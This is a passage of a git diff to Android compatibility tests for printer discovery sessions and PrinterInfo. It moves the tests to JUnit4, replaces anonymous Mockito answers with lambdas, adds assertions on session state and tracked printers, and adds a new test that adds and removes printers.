-                @Override
-                public Void answer(InvocationOnMock invocation) {
+                invocation -> firstSessionCallbacks,
+                invocation -> {
                     PrintJob printJob = (PrintJob) invocation.getArguments()[0];
                     // We pretend the job is handled immediately.
                     printJob.complete();
                     return null;
-                }
-            }, null);
+                }, null);
 
         // Configure the print services.
         FirstPrintService.setCallbacks(firstServiceCallbacks);
         SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
 
         // Create a print adapter that respects the print contract.
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter();
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
         // Start printing.
         print(adapter);
@@ -98,9 +95,17 @@
         // Wait for write of the first page.
         waitForWriteAdapterCallback(1);
 
+        runOnMainThread(() -> assertFalse(sSession.isDestroyed()));
+        runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
+
         // Select the first printer.
         selectPrinter(FIRST_PRINTER_NAME);
 
+        eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
+                sSession.getTrackedPrinters().get(0).getLocalId())));
+        runOnMainThread(() -> assertTrue(sSession.isPrinterDiscoveryStarted()));
+        runOnMainThread(() -> assertEquals(1, sSession.getTrackedPrinters().size()));
+
         // Wait for layout as the printer has different capabilities.
         waitForLayoutAdapterCallbackCount(2);
 
@@ -108,13 +113,17 @@
         // one so no layout should happen).
         selectPrinter(SECOND_PRINTER_NAME);
 
+        eventually(() -> runOnMainThread(() -> assertEquals(SECOND_PRINTER_LOCAL_ID,
+                sSession.getTrackedPrinters().get(0).getLocalId())));
+        runOnMainThread(() -> assertEquals(1, sSession.getTrackedPrinters().size()));
+
         // While the printer discovery session is still alive store the
         // ids of printers as we want to make some assertions about them
         // but only the print service can create printer ids which means
         // that we need to get the created ones.
-        PrinterId firstPrinterId = getAddedPrinterIdForLocalId(firstSessionCallbacks,
+        PrinterId firstPrinterId = getAddedPrinterIdForLocalId(
                 FIRST_PRINTER_LOCAL_ID);
-        PrinterId secondPrinterId = getAddedPrinterIdForLocalId(firstSessionCallbacks,
+        PrinterId secondPrinterId = getAddedPrinterIdForLocalId(
                 SECOND_PRINTER_LOCAL_ID);
         assertNotNull("Coundn't find printer:" + FIRST_PRINTER_LOCAL_ID, firstPrinterId);
         assertNotNull("Coundn't find printer:" + SECOND_PRINTER_LOCAL_ID, secondPrinterId);
@@ -128,6 +137,10 @@
         // Wait for all print jobs to be handled after which the session destroyed.
         waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
 
+        runOnMainThread(() -> assertTrue(sSession.isDestroyed()));
+        runOnMainThread(() -> assertFalse(sSession.isPrinterDiscoveryStarted()));
+        runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
+
         // Verify the expected calls.
         InOrder inOrder = inOrder(firstSessionCallbacks);
 
@@ -159,30 +172,20 @@
         inOrder.verify(firstSessionCallbacks).onDestroy();
     }
 
-    public void testCancelPrintServicesAlertDialog() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
+    @Test
+    public void cancelPrintServicesAlertDialog() throws Throwable {
         // Create the session callbacks that we will be checking.
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
                 createFirstMockPrinterDiscoverySessionCallbacks();
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                    @Override
-                    public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return firstSessionCallbacks;
-                    }
-                },
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        PrintJob printJob = (PrintJob) invocation.getArguments()[0];
-                        // We pretend the job is handled immediately.
-                        printJob.complete();
-                        return null;
-                    }
+                invocation -> firstSessionCallbacks,
+                invocation -> {
+                    PrintJob printJob = (PrintJob) invocation.getArguments()[0];
+                    // We pretend the job is handled immediately.
+                    printJob.complete();
+                    return null;
                 }, null);
 
         // Configure the print services.
@@ -190,7 +193,7 @@
         SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
 
         // Create a print adapter that respects the print contract.
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter();
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
         // Start printing.
         print(adapter);
@@ -198,14 +201,22 @@
         // Wait for write of the first page.
         waitForWriteAdapterCallback(1);
 
+        runOnMainThread(() -> assertFalse(sSession.isDestroyed()));
+        runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
+
         // Select the first printer.
         selectPrinter(FIRST_PRINTER_NAME);
 
+        eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
+                sSession.getTrackedPrinters().get(0).getLocalId())));
+        runOnMainThread(() -> assertTrue(sSession.isPrinterDiscoveryStarted()));
+        runOnMainThread(() -> assertEquals(1, sSession.getTrackedPrinters().size()));
+
         // While the printer discovery session is still alive store the
         // ids of printers as we want to make some assertions about them
         // but only the print service can create printer ids which means
         // that we need to get the created ones.
-        PrinterId firstPrinterId = getAddedPrinterIdForLocalId(firstSessionCallbacks,
+        PrinterId firstPrinterId = getAddedPrinterIdForLocalId(
                 FIRST_PRINTER_LOCAL_ID);
         assertNotNull("Coundn't find printer:" + FIRST_PRINTER_LOCAL_ID, firstPrinterId);
 
@@ -224,6 +235,10 @@
         // Wait for all print jobs to be handled after which the session destroyed.
         waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
 
+        runOnMainThread(() -> assertTrue(sSession.isDestroyed()));
+        runOnMainThread(() -> assertFalse(sSession.isPrinterDiscoveryStarted()));
+        runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
+
         // Verify the expected calls.
         InOrder inOrder = inOrder(firstSessionCallbacks);
 
@@ -247,38 +262,28 @@
         inOrder.verify(firstSessionCallbacks).onDestroy();
     }
 
-    public void testStartPrinterDiscoveryWithHistoricalPrinters() throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
+    @Test
+    public void startPrinterDiscoveryWithHistoricalPrinters() throws Throwable {
         // Create the session callbacks that we will be checking.
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
                 createFirstMockPrinterDiscoverySessionCallbacks();
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                @Override
-                public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return firstSessionCallbacks;
-                    }
-                },
-                new Answer<Void>() {
-                @Override
-                public Void answer(InvocationOnMock invocation) {
+                invocation -> firstSessionCallbacks,
+                invocation -> {
                     PrintJob printJob = (PrintJob) invocation.getArguments()[0];
                     // We pretend the job is handled immediately.
                     printJob.complete();
                     return null;
-                }
-            }, null);
+                }, null);
 
         // Configure the print services.
         FirstPrintService.setCallbacks(firstServiceCallbacks);
         SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
 
         // Create a print adapter that respects the print contract.
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter();
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
         // Start printing.
         print(adapter);
@@ -286,9 +291,17 @@
         // Wait for write of the first page.
         waitForWriteAdapterCallback(1);
 
+        runOnMainThread(() -> assertFalse(sSession.isDestroyed()));
+        runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
+
         // Select the first printer.
         selectPrinter(FIRST_PRINTER_NAME);
 
+        eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
+                sSession.getTrackedPrinters().get(0).getLocalId())));
+        runOnMainThread(() -> assertTrue(sSession.isPrinterDiscoveryStarted()));
+        runOnMainThread(() -> assertEquals(1, sSession.getTrackedPrinters().size()));
+
         // Wait for a layout to finish - first layout was for the
         // PDF printer, second for the first printer in preview mode.
         waitForLayoutAdapterCallbackCount(2);
@@ -298,7 +311,7 @@
         // but only the print service can create printer ids which means
         // that we need to get the created one.
         PrinterId firstPrinterId = getAddedPrinterIdForLocalId(
-                firstSessionCallbacks, FIRST_PRINTER_LOCAL_ID);
+                FIRST_PRINTER_LOCAL_ID);
 
         // Click the print button.
         clickPrintButton();
@@ -326,11 +339,15 @@
         // Wait for all print jobs to be handled after which the is session destroyed.
         waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
 
+        runOnMainThread(() -> assertTrue(sSession.isDestroyed()));
+        runOnMainThread(() -> assertFalse(sSession.isPrinterDiscoveryStarted()));
+        runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
+
         // Verify the expected calls.
         InOrder inOrder = inOrder(firstSessionCallbacks);
 
         // We start discovery with no printer history.
-        List<PrinterId> priorityList = new ArrayList<PrinterId>();
+        List<PrinterId> priorityList = new ArrayList<>();
         inOrder.verify(firstSessionCallbacks).onStartPrinterDiscovery(
                 priorityList);
 
@@ -371,16 +388,83 @@
         inOrder.verify(firstSessionCallbacks).onDestroy();
     }
 
-    private PrinterId getAddedPrinterIdForLocalId(
-            final PrinterDiscoverySessionCallbacks sessionCallbacks, String printerLocalId) {
-        final List<PrinterInfo> reportedPrinters = new ArrayList<PrinterInfo>();
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                // Grab the printer ids as only the service can create such.
-                StubbablePrinterDiscoverySession session = sessionCallbacks.getSession();
-                reportedPrinters.addAll(session.getPrinters());
-            }
+    @Test
+    public void addRemovePrinters() throws Throwable {
+        StubbablePrinterDiscoverySession[] session = new StubbablePrinterDiscoverySession[1];
+
+        // Create the session callbacks that we will be checking.
+        final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
+                createMockPrinterDiscoverySessionCallbacks(invocation -> {
+                    session[0] = ((PrinterDiscoverySessionCallbacks)
+                            invocation.getMock()).getSession();
+
+                    onPrinterDiscoverySessionCreateCalled();
+                    return null;
+                }, null, null, null, null, null, invocation -> {
+                    onPrinterDiscoverySessionDestroyCalled();
+                    return null;
+                });
+
+        // Create the service callbacks for the first print service.
+        PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+                invocation -> firstSessionCallbacks, null, null);
+
+        // Configure the print services.
+        FirstPrintService.setCallbacks(firstServiceCallbacks);
+        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+        print(createDefaultPrintDocumentAdapter(1));
+
+        waitForPrinterDiscoverySessionCreateCallbackCalled();
+
+        runOnMainThread(() -> assertEquals(0, session[0].getPrinters().size()));
+
+        PrinterId[] printerIds = new PrinterId[3];
+        runOnMainThread(() -> {
+            printerIds[0] = session[0].getService().generatePrinterId("0");
+            printerIds[1] = session[0].getService().generatePrinterId("1");
+            printerIds[2] = session[0].getService().generatePrinterId("2");
+        });
+
+        PrinterInfo printer1 = (new PrinterInfo.Builder(printerIds[0], "0",
+                PrinterInfo.STATUS_IDLE)).build();
+
+        PrinterInfo printer2 = (new PrinterInfo.Builder(printerIds[1], "1",
+                PrinterInfo.STATUS_IDLE)).build();
+
+        PrinterInfo printer3 = (new PrinterInfo.Builder(printerIds[2], "2",
+                PrinterInfo.STATUS_IDLE)).build();
+
+        ArrayList<PrinterInfo> printers = new ArrayList<>();
+        printers.add(printer1);
+        runOnMainThread(() -> session[0].addPrinters(printers));
+        eventually(() -> runOnMainThread(() -> assertEquals(1, session[0].getPrinters().size())));
+
+        printers.add(printer2);
+        printers.add(printer3);
+        runOnMainThread(() -> session[0].addPrinters(printers));
+        eventually(() -> runOnMainThread(() -> assertEquals(3, session[0].getPrinters().size())));
+
+        ArrayList<PrinterId> printerIdsToRemove = new ArrayList<>();
+        printerIdsToRemove.add(printer1.getId());
+        runOnMainThread(() -> session[0].removePrinters(printerIdsToRemove));
+        eventually(() -> runOnMainThread(() -> assertEquals(2, session[0].getPrinters().size())));
+
+        printerIdsToRemove.add(printer2.getId());
+        printerIdsToRemove.add(printer3.getId());
+        runOnMainThread(() -> session[0].removePrinters(printerIdsToRemove));
+        eventually(() -> runOnMainThread(() -> assertEquals(0, session[0].getPrinters().size())));
+
+        getUiDevice().pressBack();
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    private PrinterId getAddedPrinterIdForLocalId(String printerLocalId) throws Throwable {
+        final List<PrinterInfo> reportedPrinters = new ArrayList<>();
+        runOnMainThread(() -> {
+            // Grab the printer ids as only the service can create such.
+            reportedPrinters.addAll(sSession.getPrinters());
         });
 
         final int reportedPrinterCount = reportedPrinters.size();
@@ -400,133 +484,92 @@
     }
 
     private PrinterDiscoverySessionCallbacks createFirstMockPrinterDiscoverySessionCallbacks() {
-        return createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                // Get the session.
-                StubbablePrinterDiscoverySession session = ((PrinterDiscoverySessionCallbacks)
-                        invocation.getMock()).getSession();
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            // Get the session.
+            sSession = ((PrinterDiscoverySessionCallbacks)
+                    invocation.getMock()).getSession();
 
-                if (session.getPrinters().isEmpty()) {
-                    List<PrinterInfo> printers = new ArrayList<PrinterInfo>();
+            assertTrue(sSession.isPrinterDiscoveryStarted());
 
-                    // Add the first printer.
-                    PrinterId firstPrinterId = session.getService().generatePrinterId(
-                            FIRST_PRINTER_LOCAL_ID);
-                    PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
-                            FIRST_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
-                        .build();
-                    printers.add(firstPrinter);
+            if (sSession.getPrinters().isEmpty()) {
+                List<PrinterInfo> printers = new ArrayList<>();
 
-                    // Add the first printer.
-                    PrinterId secondPrinterId = session.getService().generatePrinterId(
-                            SECOND_PRINTER_LOCAL_ID);
-                    PrinterInfo secondPrinter = new PrinterInfo.Builder(secondPrinterId,
-                            SECOND_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
-                        .build();
-                    printers.add(secondPrinter);
+                // Add the first printer.
+                PrinterId firstPrinterId = sSession.getService().generatePrinterId(
+                        FIRST_PRINTER_LOCAL_ID);
+                PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
+                        FIRST_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
+                    .build();
+                printers.add(firstPrinter);
 
-                    session.addPrinters(printers);
-                }
-                return null;
+                // Add the first printer.
+                PrinterId secondPrinterId = sSession.getService().generatePrinterId(
+                        SECOND_PRINTER_LOCAL_ID);
+                PrinterInfo secondPrinter = new PrinterInfo.Builder(secondPrinterId,
+                        SECOND_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
+                    .build();
+                printers.add(secondPrinter);
+
+                sSession.addPrinters(printers);
             }
-        }, null, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Get the session.
-                StubbablePrinterDiscoverySession session = ((PrinterDiscoverySessionCallbacks)
-                        invocation.getMock()).getSession();
+            return null;
+        }, invocation -> {
+            assertFalse(sSession.isPrinterDiscoveryStarted());
+            return null;
+        }, null, invocation -> {
+            // Get the session.
+            StubbablePrinterDiscoverySession session = ((PrinterDiscoverySessionCallbacks)
+                    invocation.getMock()).getSession();
 
-                PrinterId trackedPrinterId = (PrinterId) invocation.getArguments()[0];
-                List<PrinterInfo> reportedPrinters = session.getPrinters();
+            PrinterId trackedPrinterId = (PrinterId) invocation.getArguments()[0];
+            List<PrinterInfo> reportedPrinters = session.getPrinters();
 
-                // We should be tracking a printer that we added.
-                PrinterInfo trackedPrinter = null;
-                final int reportedPrinterCount = reportedPrinters.size();
-                for (int i = 0; i < reportedPrinterCount; i++) {
-                    PrinterInfo reportedPrinter = reportedPrinters.get(i);
-                    if (reportedPrinter.getId().equals(trackedPrinterId)) {
-                        trackedPrinter = reportedPrinter;
-                        break;
-                    }
+            // We should be tracking a printer that we added.
+            PrinterInfo trackedPrinter = null;
+            final int reportedPrinterCount = reportedPrinters.size();
+            for (int i = 0; i < reportedPrinterCount; i++) {
+                PrinterInfo reportedPrinter = reportedPrinters.get(i);
+                if (reportedPrinter.getId().equals(trackedPrinterId)) {
+                    trackedPrinter = reportedPrinter;
+                    break;
                 }
-                assertNotNull("Can track only added printers", trackedPrinter);
+            }
+            assertNotNull("Can track only added printers", trackedPrinter);
 
-                // If the printer does not have capabilities reported add them.
-                if (trackedPrinter.getCapabilities() == null) {
+            assertTrue(sSession.getTrackedPrinters().contains(trackedPrinter.getId()));
+            assertEquals(1, sSession.getTrackedPrinters().size());
 
-                    // Add the capabilities to emulate lazy discovery.
-                    // Same for each printer is fine for what we test.
-                    PrinterCapabilitiesInfo capabilities =
-                            new PrinterCapabilitiesInfo.Builder(trackedPrinterId)
-                        .setMinMargins(new Margins(200, 200, 200, 200))
-                        .addMediaSize(MediaSize.ISO_A4, true)
-                        .addMediaSize(MediaSize.ISO_A5, false)
-                        .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
-                        .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                PrintAttributes.COLOR_MODE_COLOR)
-                        .build();
-                    PrinterInfo updatedPrinter = new PrinterInfo.Builder(trackedPrinter)
+            // If the printer does not have capabilities reported add them.
+            if (trackedPrinter.getCapabilities() == null) {
+
+                // Add the capabilities to emulate lazy discovery.
+                // Same for each printer is fine for what we test.
+                PrinterCapabilitiesInfo capabilities =
+                        new PrinterCapabilitiesInfo.Builder(trackedPrinterId)
+                                .setMinMargins(new Margins(200, 200, 200, 200))
+                                .addMediaSize(MediaSize.ISO_A4, true)
+                                .addMediaSize(MediaSize.ISO_A5, false)
+                                .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
+                                .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                        PrintAttributes.COLOR_MODE_COLOR)
+                                .build();
+                PrinterInfo updatedPrinter = new PrinterInfo.Builder(trackedPrinter)
                         .setCapabilities(capabilities)
                         .build();
 
-                    // Update the printer.
-                    List<PrinterInfo> printers = new ArrayList<PrinterInfo>();
-                    printers.add(updatedPrinter);
-                    session.addPrinters(printers);
-                }
+                // Update the printer.
+                List<PrinterInfo> printers = new ArrayList<>();
+                printers.add(updatedPrinter);
+                session.addPrinters(printers);
+            }
 
-                return null;
-            }
-        }, null, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Take a note onDestroy was called.
-                onPrinterDiscoverySessionDestroyCalled();
-                return null;
-            }
-        });
-    }
+            return null;
+        }, null, null, invocation -> {
+            assertTrue(sSession.isDestroyed());
 
-    public PrintDocumentAdapter createMockPrintDocumentAdapter() {
-        final PrintAttributes[] printAttributes = new PrintAttributes[1];
-
-        return createMockPrintDocumentAdapter(
-            new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                LayoutResultCallback callback = (LayoutResultCallback) invocation.getArguments()[3];
-                PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                        .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                        .setPageCount(3)
-                        .build();
-                callback.onLayoutFinished(info, false);
-                // Mark layout was called.
-                onLayoutCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                Object[] args = invocation.getArguments();
-                PageRange[] pages = (PageRange[]) args[0];
-                ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                WriteResultCallback callback = (WriteResultCallback) args[3];
-                writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
-                fd.close();
-                callback.onWriteFinished(pages);
-                // Mark write was called.
-                onWriteCalled();
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Mark finish was called.
-                onFinishCalled();
-                return null;
-            }
+            // Take a note onDestroy was called.
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
         });
     }
 }
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index 72f2866..415ace8 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -19,17 +19,11 @@
 import android.app.Activity;
 import android.app.PendingIntent;
 import android.content.Intent;
-import android.graphics.drawable.Icon;
-import android.os.ParcelFileDescriptor;
-import android.print.PageRange;
 import android.print.PrintAttributes;
 import android.print.PrintAttributes.Margins;
 import android.print.PrintAttributes.MediaSize;
 import android.print.PrintAttributes.Resolution;
 import android.print.PrintDocumentAdapter;
-import android.print.PrintDocumentAdapter.LayoutResultCallback;
-import android.print.PrintDocumentAdapter.WriteResultCallback;
-import android.print.PrintDocumentInfo;
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
@@ -38,13 +32,12 @@
 import android.print.cts.services.PrinterDiscoverySessionCallbacks;
 import android.print.cts.services.SecondPrintService;
 import android.print.cts.services.StubbablePrinterDiscoverySession;
-import android.printservice.CustomPrinterIconCallback;
+import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiSelector;
 import android.text.TextUtils;
-
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -52,70 +45,12 @@
 /**
  * Tests all allowed types of printerInfo
  */
+@RunWith(AndroidJUnit4.class)
 public class PrinterInfoTest extends BasePrintTest {
-    private static final int NUM_PAGES = 2;
-
     private static final String NAMED_PRINTERS_NAME_PREFIX = "Printer ";
 
     /** The printer discovery session used in this test */
-    private static StubbablePrinterDiscoverySession mDiscoverySession;
-
-    /** The custom printer icon to use */
-    private Icon mIcon;
-
-    /**
-     * Create a mock {@link PrintDocumentAdapter} that provides {@link #NUM_PAGES} empty pages.
-     *
-     * @return The mock adapter
-     */
-    private PrintDocumentAdapter createMockPrintDocumentAdapter() {
-        final PrintAttributes[] printAttributes = new PrintAttributes[1];
-
-        return createMockPrintDocumentAdapter(
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                        LayoutResultCallback callback = (LayoutResultCallback) invocation
-                                .getArguments()[3];
-
-                        PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                                .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                                .setPageCount(NUM_PAGES)
-                                .build();
-
-                        callback.onLayoutFinished(info, false);
-
-                        // Mark layout was called.
-                        onLayoutCalled();
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        Object[] args = invocation.getArguments();
-                        PageRange[] pages = (PageRange[]) args[0];
-                        ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                        WriteResultCallback callback = (WriteResultCallback) args[3];
-
-                        writeBlankPages(printAttributes[0], fd, pages[0].getStart(),
-                                pages[0].getEnd());
-                        fd.close();
-                        callback.onWriteFinished(pages);
-
-                        // Mark write was called.
-                        onWriteCalled();
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        // Mark finish was called.
-                        onFinishCalled();
-                        return null;
-                    }
-                });
-    }
+    private static StubbablePrinterDiscoverySession sDiscoverySession;
 
     private boolean isValidStatus(int status) {
         return status == PrinterInfo.STATUS_IDLE
@@ -130,222 +65,219 @@
      * @return The mock session callbacks
      */
     private PrinterDiscoverySessionCallbacks createFirstMockPrinterDiscoverySessionCallbacks() {
-        return createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                // Get the session.
-                mDiscoverySession = ((PrinterDiscoverySessionCallbacks) invocation.getMock())
-                        .getSession();
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            // Get the session.
+            sDiscoverySession = ((PrinterDiscoverySessionCallbacks) invocation.getMock())
+                    .getSession();
 
-                if (mDiscoverySession.getPrinters().isEmpty()) {
-                    final int INVALID_RES_ID = 0xffffffff;
+            if (sDiscoverySession.getPrinters().isEmpty()) {
+                final int INVALID_RES_ID = 0xffffffff;
 
-                    final PrinterInfo.Builder badPrinter = new PrinterInfo.Builder(
-                            mDiscoverySession.getService().generatePrinterId("bad printer"),
-                            "badPrinter", PrinterInfo.STATUS_UNAVAILABLE);
+                final PrinterInfo.Builder badPrinter = new PrinterInfo.Builder(
+                        sDiscoverySession.getService().generatePrinterId("bad printer"),
+                        "badPrinter", PrinterInfo.STATUS_UNAVAILABLE);
 
-                    String[] localPrinterIds = {
-                            "Printer", null
-                    };
+                String[] localPrinterIds = {
+                        "Printer", null
+                };
 
-                    String[] names = {
-                            NAMED_PRINTERS_NAME_PREFIX, "", null
-                    };
-                    int[] statusList = {
-                            PrinterInfo.STATUS_IDLE, PrinterInfo.STATUS_BUSY,
-                            PrinterInfo.STATUS_UNAVAILABLE, 0, 42
-                    };
-                    int[] iconResourceIds = {
-                            R.drawable.red_printer, 0, INVALID_RES_ID, -1
-                    };
+                String[] names = {
+                        NAMED_PRINTERS_NAME_PREFIX, "", null
+                };
+                int[] statusList = {
+                        PrinterInfo.STATUS_IDLE, PrinterInfo.STATUS_BUSY,
+                        PrinterInfo.STATUS_UNAVAILABLE, 0, 42
+                };
+                int[] iconResourceIds = {
+                        R.drawable.red_printer, 0, INVALID_RES_ID, -1
+                };
 
-                    boolean[] hasCustomPrinterIcons = {
-                            true, false
-                    };
+                boolean[] hasCustomPrinterIcons = {
+                        true, false
+                };
 
-                    String[] descriptions = {
-                            "Description", "", null
-                    };
+                String[] descriptions = {
+                        "Description", "", null
+                };
 
-                    PendingIntent[] infoIntents = {
-                            PendingIntent.getActivity(getActivity(), 0,
-                                    new Intent(getActivity(), Activity.class),
-                                    PendingIntent.FLAG_IMMUTABLE),
-                            null
-                    };
+                PendingIntent[] infoIntents = {
+                        PendingIntent.getActivity(getActivity(), 0,
+                                new Intent(getActivity(), Activity.class),
+                                PendingIntent.FLAG_IMMUTABLE),
+                        null
+                };
 
-                    PrinterCapabilitiesInfo[] capabilityList = {
-                            // The printerId not used in PrinterCapabilitiesInfo
-                            new PrinterCapabilitiesInfo.Builder(mDiscoverySession.getService()
-                                    .generatePrinterId("unused"))
-                                            .setMinMargins(new Margins(200, 200, 200, 200))
-                                            .addMediaSize(MediaSize.ISO_A4, true)
-                                            .addResolution(
-                                                    new Resolution("300x300", "300x300", 300, 300),
-                                                    true)
-                                            .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                                    PrintAttributes.COLOR_MODE_COLOR)
-                                            .build(),
-                            null
-                    };
+                PrinterCapabilitiesInfo[] capabilityList = {
+                        // The printerId not used in PrinterCapabilitiesInfo
+                        new PrinterCapabilitiesInfo.Builder(sDiscoverySession.getService()
+                                .generatePrinterId("unused"))
+                                        .setMinMargins(new Margins(200, 200, 200, 200))
+                                        .addMediaSize(MediaSize.ISO_A4, true)
+                                        .addResolution(
+                                                new Resolution("300x300", "300x300", 300, 300),
+                                                true)
+                                        .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                                PrintAttributes.COLOR_MODE_COLOR)
+                                        .build(),
+                        null
+                };
 
-                    List<PrinterInfo> printers = new ArrayList<PrinterInfo>();
-                    for (String localPrinterId : localPrinterIds) {
-                        for (String name : names) {
-                            for (int status : statusList) {
-                                for (int iconResourceId : iconResourceIds) {
-                                    for (boolean hasCustomPrinterIcon : hasCustomPrinterIcons) {
-                                        for (String description : descriptions) {
-                                            for (PendingIntent infoIntent : infoIntents) {
-                                                for (PrinterCapabilitiesInfo capabilities
-                                                        : capabilityList) {
-                                                    // printerId
-                                                    RuntimeException e = null;
-                                                    PrinterId printerId = null;
-                                                    try {
-                                                        if (localPrinterId == null) {
-                                                            printerId = mDiscoverySession
-                                                                    .getService()
-                                                                    .generatePrinterId(
-                                                                            localPrinterId);
-                                                        } else {
-                                                            printerId = mDiscoverySession
-                                                                    .getService()
-                                                                    .generatePrinterId(
-                                                                            localPrinterId
-                                                                                    + printers
-                                                                                            .size());
-                                                        }
-                                                    } catch (RuntimeException ex) {
-                                                        e = ex;
-                                                    }
-
-                                                    // Expect exception if localId is null
+                List<PrinterInfo> printers = new ArrayList<>();
+                for (String localPrinterId : localPrinterIds) {
+                    for (String name : names) {
+                        for (int status : statusList) {
+                            for (int iconResourceId : iconResourceIds) {
+                                for (boolean hasCustomPrinterIcon : hasCustomPrinterIcons) {
+                                    for (String description : descriptions) {
+                                        for (PendingIntent infoIntent : infoIntents) {
+                                            for (PrinterCapabilitiesInfo capabilities
+                                                    : capabilityList) {
+                                                // printerId
+                                                RuntimeException e = null;
+                                                PrinterId printerId = null;
+                                                try {
                                                     if (localPrinterId == null) {
-                                                        if (e == null) {
-                                                            throw new IllegalStateException();
-                                                        }
-                                                    } else if (e != null) {
-                                                        throw e;
+                                                        printerId = sDiscoverySession
+                                                                .getService()
+                                                                .generatePrinterId(
+                                                                        localPrinterId);
+                                                    } else {
+                                                        printerId = sDiscoverySession
+                                                                .getService()
+                                                                .generatePrinterId(
+                                                                        localPrinterId
+                                                                                + printers
+                                                                                        .size());
                                                     }
+                                                } catch (RuntimeException ex) {
+                                                    e = ex;
+                                                }
 
-                                                    // Constructor
-                                                    PrinterInfo.Builder b = null;
